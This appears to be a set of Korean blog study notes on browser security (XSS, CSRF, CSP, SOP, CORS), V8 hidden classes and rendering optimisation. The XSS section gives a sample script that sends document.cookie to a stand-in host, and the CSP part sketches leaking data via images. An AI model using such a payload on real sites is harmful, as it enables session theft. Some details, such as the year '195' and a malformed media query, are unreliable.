웹브라우저의 보안모델 2

XSS 취약점

SOP는 javascript가 해당 사이트 개발자가 설계한대로만 실행된다는 것을 전제로 타 도메인에 접근하지 못하게 하여 웹과 웹 간의 분리가 되는 샌드박스를 기대하며 설계하였다.

하지만 해커들은 Cross-site scripting (XSS) 취약점을 이용하여 브라우저 내의 쿠키를 포함한 정보들을 탈취할 수 있었다.

XSS 취약점은 웹사이트 관리자가 아닌 사람이 웹페이지에 악성 스크립트를 삽입할 수 있는 취약점이다.

웹 개발자의 실수로 외부로부터 입력되는 파라미터에 대한 적절한 검증을 거치지 않고 페이지 내부에 포함하는 기능을 구현하였고, 해커는 이 기능을 악용하여 XSS 취약점으로 파라미터를 통해 정보를 탈취하는 악성 스크립트를 삽입하게 되면 스크립트는 피해자의 브라우저에서 실행되어 사용자 브라우저의 정보를 탈취할 수 있다.

예를 들어 공격자가 location.href='http://example.com?'+document.cookie 라는 스크립트를 삽입하게 되면 삽입한 스크립트는 피해자의 브라우저에서 실행되고 사용자의 쿠키값이 공격자가 설정한 도메인으로 전송된다.

Set-Cookie 응답헤더는 서버에서 사용자 브라우저에 쿠키를 전송하기 위해 사용된다.
Set-Cookie 헤더에는 XSS취약점을 이용한 공격을 방해하기 위한 HttpOnly 속성이 존재한다.
HttpOnly 속성을 사용하면 javascript에서 document.cookie로의 접근을 차단한다.

1
Set-Cookie: <cookie-name>=<cookie-value>; HttpOnly

하지만 단순하게 세션 ID가 포함된 쿠키 값에 대한 접근을 차단한다고 모든 문제가 해결되지는 않는다.
XSS 취약점은 상황에 따라 Cross-site request forgery(CSRF) 취약점으로 발전할 수 있는 가능성이 있기 때문이다.

CSRF Token & CAPTCHA

CSRF 취약점이 발생하게 되면 사용자가 자신의 의지와는 무관하게 공격자가 의도한 행위를 수행하게 된다.

사용자의 의지와 상관없는 요청을 강제로 전송한다.

이를 예방하기 위해 중요한 행위를 수행하는 페이지에선 임의 랜덤값인 CSRF token을 이용하여 대응하거나 CAPTCHA를 이용하여 대응할 수 있다.

CSRF Token의 경우 요청 전 페이지에서 응답값을 가져와서 CSRF Token 추출후 같이 전송하면 우회할 수 있기 때문에 완전한 방어는 아니다.

이러한 문제를 해결하기 위해 사람인지 컴퓨터 프로그램을 통해 전송되는 요청인지 확인하는 기술인 CAPTCHA기술을 이용하여 차단할 수 있다.

CSP(Content Security Policy)

위의 정책들을 사용하더라도 여전히 공격자가 XSS 취약점을 통해 사용자의 브라우저에서 javascript를 실행할 수 있다.

2001년 XSS 취약점의 대응방안인 Content Security Policy(CSP)가 등장하였다.

브라우저에 로드되는 모든 컨텐츠에 제약을 두어 통제하는 보안정책이다.
CSP는 공격자가 웹 내부에서 자바스크립트를 실행할 수 있더라도 특정 도메인의 리소스만 참조할 수 있게 하거나 리소스를 아예 참조 못하게 하는 등의 리소스에 대한 보안 정책을 설정하여 허가되지 않은 스크립트 로드 자체를 방지하는 보안 정책이다.

CSP는 응답 헤더와 meta 태그를 통해 설정 가능하다.

1
Content-Security-Policy: default-src 'self' domain1 domain2

여러 태그 종류별로도 보안 설정을 다르게 하도록 설정할 수 있다.

1
Content-Security-Policy: default-src 'self'; img-src *; media-src media1.com media2.com; script-src userscripts.example.com

CSP bypass

1
Content-Security-Policy: default-src 'none'; form-action 'self'; frame-ancestors 'none'; style-src https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css; img-src 'self'; script-src 'nonce-cyotMpPGPBs7xFYiedGn3Q' https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/; frame-src https://www.google.com/recaptcha/

해당 경우 img-src 가 self인 점을 이용하여 이미지로 둔갑하여 로드하고 해당 이미지를 변환해서 사용할 수 있다.

XSS 취약점이 발생할 경우 이미지를 통해서도 데이터를 유출할 수 있다.

ref

이해하기 쉬운 웹 보안 모델 이야기 2 (CSP)

웹브라우저의 보안모델 1

브라우저와 네트워크에 대해 더 깊게 이해하기 위해 웹브라우저의 보안모델에 대해 공부해보았다!

웹브라우저의 역사

1990년 팀 버너스 리가 HTML과 웹 서버, 웹 브라우저를 최초로 발명하였다.
이 떄의 브라우저는 정적인 HTML만을 렌더링하였다.

195년엔 마크 로웰 앤드리슨이 웹브라우저 내에서 이미지, 플러그인의 요소를 조합할 수 있는 언어가 필요하다고 생각하여 javascript를 웹브라우저에 도입하였다.

웹 브라우저에서 javascript를 도입한 이후 javascript를 이용해서 DOM에 접근할 수 있게 되었다.
즉 javascript로 HTML로 표현된 객체에 접근하여 변경, 제거등의 작업을 수행할 수 있게 되었다.

AJAX(Asynchronous JavaScript and XML)

페이지가 로드된 이후 javascript를 이용하여 비동기식으로 서버와 상호작용 하는 것을 AJAX라고 한다.
AJAX는 페이지 전체를 로딩하지 않고도(새로고침 없이) 비동식으로 필요한 부분만 동적으로 처리하거나 로딩할 수 있다.

test.html 파일이다.

1
<h1>It`s works!</h1>

index.html 파일이다.
AJAX를 사용한다. httpRequeset를 통해 test.html을 요청한 다음 state를 보고 innerHTMl을 바꾼다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<html>
<head>
<title>test</title>
</head>
<body>
<div id="result"></div>
<script>
httpRequest = new XMLHttpRequest();
httpRequest.onreadystatechange = function () {
if (this.status == 200 && this.readyState == this.DONE) {
document.getElementById("result").innerHTML =
httpRequest.responseText;
}
};
httpRequest.open("GET", "/test.html");
httpRequest.send();
</script>
</body>
</html>

SOP(Same-Origin Policy)

AJAX의 도입이후 프론트엔드 서버와 백엔드 서버를 따로 두어 개발하는 방법이 생겼다.
SOP는 동일 출처 정책으로 동일한 출처의 리소스만 상호작용을 허용하는 정책이다.
두 URL의 프로토콜, 호스트, 포트가 모두 가아야 동일한 출처로 인정되고 웹사이트를 샌드박스화 하여 잠재적인 보안 위협으로부터 보호해주는 정책이다.

SOP가 존재하지 않을 경우 악의적인 javascript 코드를 만나게 될 경우 해커의 서버로 유저의 정보를 전송할 수 있다. 이러한 경우를 사전에 방지하기 위해 SOP가 존재한다.

CORS(Cross-Origin Resource Sharing)

어쩔 수 없이 다른 출처간의 상호작용을 해야하는 경우도 존재한다.
CORS는 SOP의 예외 정책이다.

service.example.com에서 api.example.com으로 요청을 할 경우 HTTP 패킷을 통해 service.example.com의 프로토콜, 호스트, 포트 정보가 Origin 헤더를 통해 전송된다.

서ㅓ는Origin 헤더를 통해 요청이 전송된 사이트 정보를 알 수 있다.

1
2
3
4
5
6
7
8
GET /api/v1/test HTTP/1.1
Host: api.example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Connection: keep-alive
Origin: https://service.example.com

서버에서는 Access-Control-Allow-Origin 헤더를 통해서 응답한다.

1
2
3
4
5
6
7
8
9
10
HTTP/1.1 200 OK
Date: Mon, 01 Dec 2008 00:23:53 GMT
Server: Apache/2
Access-Control-Allow-Origin: *
Keep-Alive: timeout=2, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: application/xml

[…Data…]

SOP 우회시 발생할 수 있는 취약점

CORS 적용이 어려운 경우 curl이나 HttpUrlConnection,urllib,requests 등의 HTTP 모듈을 통해 서버에서 직접 응답값을 가져오도록 구현하는 경우가 있다. 이 경우 파라매터 검증에 더욱 신경을 써야한다.
요청을 변조할 수 있기 때문에 Command Injection 또는 SSRF(Server-side Request Forgery) 취약점이 발생할 수 있다.

ref

이해하기 쉬운 웹 보안 모델 이야기 1(SOP, CORS)

Ajax 시작하기

사전 요청(preflight_request)

교차 출처 리소스 공유 사전요청(preflight_request)는 본격적인 교차 출처 HTTP 요청 전에 서버 측에서 그 요청의 메서드와 헤더에 대해 인식하고 있는지를 체크하는 것이다.

예를들어 클라이언트가 DELETE 요청을 하기 전에 사전 요청을 통해 서버가 DELETE를 허용하는지 물어보는 과정이다.

1
2
3
4
OPTIONS /resource/foo
Access-Control-Request-Method: DELETE
Access-Control-Request-Headers: origin, x-requested-with
Origin: https://foo.bar.org

만약 허용한다면 응답 헤더에 HTTPHeader(“Access-Control-Allow-Methods”)라고 나타난다.

1
2
3
4
5
HTTP/1.1 204 No Content
Connection: keep-alive
Access-Control-Allow-Origin: https://foo.bar.org
Access-Control-Allow-Methods: POST, GET, OPTIONS, DELETE
Access-Control-Max-Age: 86400

이와같이 동일한 url을 사용하는 요청에 대해서는 Access-Control-Max-Age 헤더를 이용하여 정해진 기간에는 사전 요청에 대한 응답이 선택적으로 이루어질 수 있다.

window.matchMedia

window.matchMedia(mediaQueryString) 메서드는 미디어쿼리 문자열의 분석결과를 나타내는 MediaQueryList 객체를 반환한다.

객체는 media,matches,onchange 세 가지의 속성을 지닌다.

  1. media
    matchMedia()의 parameter로 넣은 MediaQueryString이다.
  2. matches
    boolean 값으로 MediaQueryString과 일치하면 true, 일치하지 않으면 false값을 지닌다.
  3. onchange
    해당 미디어 쿼리가 변화할 경우 실행될 이벤트이다.
    1
    2
    3
    let mediaQueryList = window.matchMedia(mediaQueryString);
    mediaQueryList.addListener((e) => {});
    //mediaQueryList.onchange=(e)=>{};

아래의 코드는 prefers-color-scheme속성이 dark인지 확인하는 코드이다.

1
window.matchMedia("(prefers-color-scheme:light:dark)");
1
2
3
4
5
const result = {
media: "(prefers-color-scheme: dark)",
matches: false,
onchange: null,
};

ref

MediaQueryList.addListener()
MediaQueryList
prefers-color-scheme

V8 히든클래스

자바스크립트는 동적 언어로 객체에서 속성을 즉시 추가하거나 제거할 수 있다. 그러나 이러한 동적조회는 성능 저하의 원인이다.

동적 조회

동적 언어에서 객체에 속성을 추가하거나 제거할 경우 선형탐색 후 속성에 접근하게 된다. 이럴 경우 프로퍼티에 접근할 경우 객체의 모든 속성에 대한 탐색이 필요하다.

해결방안

V8엔진은 이를 해결하기 위해 히든클래스라는 개념을 도입하였다.
자바스크립트에서 객체를 생성할 경우 새로운 히든 클래스를 생성한다.

예시

아래의 코드는 빈 객체를 생성하는 코드이다.

1
const object1 = {};

V8은 이 코드를 기반으로 새로운 히든 클래스를 만든다.
편의상 객체로 표현하였다.

1
c01 = {};

아래의 코드는 object1 객체에 속성을 추가하는 코드이다.

1
object1.name = "박성현";

아래의 코드를 실행할 경우 V8은 이전 히든클래스(c01)의 모든 프로퍼티를 상속하여 새로운 히든클래스(c02)를 만든다.

그 후 object1은 c02를 참조하고 V8은 c01을 계속해서 참조한다.

이렇게 되면 컴파일러가 프로퍼티 이름에 접근할 때 offset을 통해 접근하여 사전형 탐색을 우회할 수 있다.

1
2
c01 = {}; //V8이 참조중
c02 = { offset0: name }; //object1이 참조중

아래의 코드는 object1 객체에 또 다른 속성을 추가하는 코드이다.

1
object1.age = 20;
1
2
3
c01 = {}; //V8이 참조중
c02 = { offset0: name };
c03 = { offset0: name, offset1: age }; //object1이 참조중

V8은 이러한 히든 클래스를 재사용한다.
만약 다음과 같은 코드를 작성하였을 경우 c01을 재사용 한다.

1
object2 = {};
1
2
3
c01 = {}; //V8과 object2가 참조중
c02 = { offset0: name };
c03 = { offset0: name, offset1: age }; //object1이 참조중

하지만 다음과 같이 name,age 외의 프로퍼티를 추가하여 c03을 재사용할 수 없는 경우 다시 새로운 클래스를 만든다.
V8은 c02를 재사용하여 새로운 트랜지션 트리를 만들고 히든클래스인 c4를 만들어 추가한다.

1
object2.school = "konkuk univ";
1
2
3
4
c01 = {}; //V8과 object2가 참조중
c02 = { offset0: name };
c03 = { offset0: name, offset1: age }; //object1이 참조중
c04 = { offset0: name, offset1: school }; //object2가 참조중, c02와 연결된다

성능 개선 방안

V8엔진의 히든클래스를 이용하여 성능개선을 하기 위해선 동적 프로퍼티 추가를 줄여야한다.

예를들어 반복문 안에서 객체의 동적 프로퍼티를 추가하는 대신 반복문 외부에서 프로퍼티를 만들어 사용하는 것이 좋다.

즉 기존의 히든클래스를 재사용할 떄 성능이 향상된다.

ref

V8의 히든 클래스 이야기
자바스크립트 성능의 비밀 (V8과 히든 클래스)
Fast properties in V8

브라우저의 랜더링 과정에 대해 알아보자 2 최적화

size of HTML

  1. HTML의 크기를 최소로 해야한다.
  • 사전처리 및 상황별 최적화

    • 주석들을 없애야함(브라우저로 주석을 보내 줄 이유가 없다.)
    • 헤더의 인코딩방식을 다르게 한다.
    • 반복되는 데이터를 압축(AAA=>3A)
    • 중복되는 style 정의를 합친다.
    • 공백(스페이스나 탭)을 제거한다.
  1. 압축해야한다.
  • GZIP을 이용한 텍스트 압축
    • GZIP은 텍스트 기반 압축 툴이다.
    • 모든 최신 브라우저는 이를 지원하고 자도으로 요청한다.
    • 일부 CDN의 경우 GZIP이 활성화 되었는지 확인해야한다.
    • 개발자 도구 네트워크탭에서 Size/Content열을 통해 압축된 크기를 확인할 수 있다.

사전처리 및 상황별 최적화 후 GZIP을 적용하여 최소화된 출력을 압축하면 큰 절감효과를 얻을 수 있다.

  1. 브라우저에 의해 캐싱해야한다.
  • 서버를 통해 리소스를 받아오기 전까지 랜더링이 되지 않기 떄문에 캐싱을 통해 서버로의 요청을 줄이면 최적화할 수 있다.
  • 브라우저의 모든 HTTP요청은 브라우저 캐시로 라우팅되어 유효한 캐시가 있는지 먼저 확인한다.
  • 이는 요청 헤더와 응답헤더의 조합에 의해 제어된다.
  • 기본적으로 브라우저는 사용자를 대신하여 헤더설정을 관리한다.( 자동으로 캐싱한다. )
  • 웹서버에서 Cache-Control헤더를 통해 관리할 수 있다.

Unblocking CSS

  • HTML,CSS는 기본적으로 랜더링 차단 리소스이다.
  • 랜더링하려면 렌더트리가 필요하고, 렌더트리를 만들기 위해선 서버에서 CSS를 가져올 때 까지 기다려야한다.(HTML 파싱은 한다.)
  • 미디어 유형과 미디어 쿼리를 통해 일부 css를 비차단 리소스로 표시할 수 있다.
  • 혹은 inline css를 사용하여 요청을 하지 않을 수 있다.
  • 브라우저는 차단동작이든 비차단 동작이든 관계없이 모든 CSS 리소스를 다운로드 한다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
body {
font-size: 16px;
}

@media screen and (orientation: landscape) {
.menu {
float: right;
}
}

@media print {
body {
font-size: 12px;
}
}
  • print 파일을 분리된 파일로 옯긴다.
  • 미디어 속성을 통해 해당 css가 언제 적용될 지 브라우저에게 전달할 수 있다.(비차단 리소스로 표시하기)
1
2
3
4
5
6
7
8
9
body {
font-size: 16px;
}

@media screen and (orientation: landscape) {
.menu {
float: right;
}
}
1
2
3
4
5
@media print {
body {
font-size: 12px;
}
}
1
2
<link rel="stylesheet" href="style.css">
<link rel="stylesheet" href="style-print.css" media="print">

JavaScript and CRP

https://developers.google.com/web/fundamentals/performance/critical-rendering-path/adding-interactivity-with-javascript#parser-blocking-vs-asynchronous-javascript

  • JS 는 DOM과 CSSOM 모두 조작 가능

  • script 태그를 만났을 때는 DOM 생성을 중단하고 자바스크립트가 실행되기를 기다려야한다

  • script 태그가 DOM 생성을 막기 때문에 js는 parser blocking이다.

  • 인라인 스크립트 대신 외부파일로 스크립트를 사용할 경우엔 파서가 script 태그를 발견하면 파일을 받아서 실행한다. 파일을 가져오는 동안에 DOM 생성을 계속할 수 없으므로 CRP가 늦어진다.

  • 인라인 스크립트를 사용하는 것은 요청을 줄이는 데에 도움을 주지만 코드가 반복되고 과도하게 사용될 수 있는 단점이 있다.

  • js는 CSS를 조작할 가능성도 있기 때문에 script는 css가 도착하고 CSSOM을 생성할 때 까지 실행되지 않는다.(CSSOM 생성 후 JS가 실행된다.) 따라서 js 최적화는 css최적화와 깊은 연관이 있다.

  • 사용자 분석 등 랜더링에 영향을 주지 않는 스크립트

    • 랜더링이 끝나고 브라우저가 onload 이벤트를 발생 시켰을 때 실행하여 최적화 할 수 있다.
    • script 태그에 async 속성(CRP를 막지 않는 script)을 통해 최적화 할 수 있다. async 속성을 붙일경우 브라우저의 DOM 생성을 막지 않는다. script 요청을 처리하고 dom을 파싱한다. 또한 CSSOM에 영향을 받지 않는다. CSSOM생성 전에 script를 사용 가능하다면 바로 실행할 수 있다.
    1
    <script src="analytics.js" async></script>
    • 자바스크립트를 css위에 넣어서 css에 방해받지 않고 실행할 수 있다.

요약

  • 데이터통신의 양을 줄임
  • 중요한 리소스의 개수를 줄임
  • CRP의 길이를 줄인다
    • 서버와 클라이언트를 왕복하는 수

Preload Scanner

  • 문서의 앞부분에서 CSS나 js를 알아내려 한다.
  • 파서가 막힌동안 js나 css를 다운로드받는다.(병렬 요청)

브라우저의 랜더링 과정에 대해 알아보자 1 CRP

브라우저의 랜더링 과정과 CRP에 대해 알아보자

Critical Rendering Path

  • 브라우저가 HTML,CSS,Javascript를 화면에 실제 픽셀로 변환하는 단계의 순서.
  1. HTML을 가져와서 DOM(Document Object Model)을 생성한다.
  2. CSS를 가져와서 CSSOM(CSS Object Model)을 생성한다.
  3. 둘을 합쳐서 Render Tree를 만든다.
  4. 레이아웃 단계를 거쳐서 모든 것이 페이지의 어느 위치에 갈 것인지 정한다.
  5. 실제 화면에 픽셀을 그린다.

Converting HTML to the DOM

  • URL을 요청하고 엔터를 누르면 브라우저가 서버로 HTML 요청을 보낸다.
  1. 브라우저가 HTML을 읽어와서 지정된 인코딩에 따라 개별문자로 변환한다.
  2. HTML은 태그를 만날 때 마다 W3C HTML5표준에 맞춰 토큰을 만든다.
  3. 토큰은 해당 속성 및 규칙을 정의하는 객체로 변환된다.
  4. HTML 마크업 간의 관계를 정의하기 떄문에 생성된 객체는 트리 데이터 구조 내에 연결된다.(노드가 된다.) 이는 상하위 관계도 포함한다. 즉 HTML객체는 body의 상위이고, body는 paragraph 객체의 상위이다.

이러한 구조로 부분 HTML을 먼저 로드하여 성능개선을 할 수 있다.

Converting CSS to the CSSOM

  1. 유효한 토큰이 존재하는지 확인한다.
  2. 토큰을 노드화한다.

부분 css의 사용은 불가능하다. 잘못된 스타일을 사용 할 수 있기 때문이다.
브라우저는 모든 CSS를 받고 처리할 때 까지 페이지 랜더링을 차단한다.

  • 선택자의 차이
1
2
3
4
5
6
h1 {
font-size: 16px;
}
div p {
font-weight: 12px;
}

첫 번째 태그는 h1에 일괄적으로 적용하지만 두 번째 태그는 모든 p 태그를 찾고
부모노드가 div인 것을 찾아서 스타일을 적용하기 때문에 브라우저가 더 많은 작업을 해야한다.

The Render Tree

  • DOM 과 CSSOM트리를 합친 트리이다.
  • 눈에 보이는 내용만 포함한 트리이다.
    • display:none과 같은 style이 있는 노드의 경우 포함되지 않는다.
    • html태그는 눈에 보이는 내용이 없으므로 제거한다.

Layout

  • width
    • %의 경우 메타태그에서 설정한 뷰포트의 너비 or 부모의 너비를 상속한다.
    • 아래의 태그의 경우 뷰포트 너비를 디바이스의 너비로 설정한다. 기본값은 980px이다.
      1
      <meta name="viewport" content="width=device-width">
  • 스타일이나 내용을 변경하여 렌더트리를 업데이트 할 경우 레이아웃 단계를 다시 실행할 가능성이 크다.
  • 뷰포트 너비가 변하면 브라우저는 레이아웃 단계를 다시 시행해야 한다.
    (폰을 돌리거나 브라우저 크기를 조정할 떄 일어난다.)

이를 피하기 위해 여러번의 레이아웃 이벤트를 피하고자 업데이트를 한 번에 반영하는 것이다.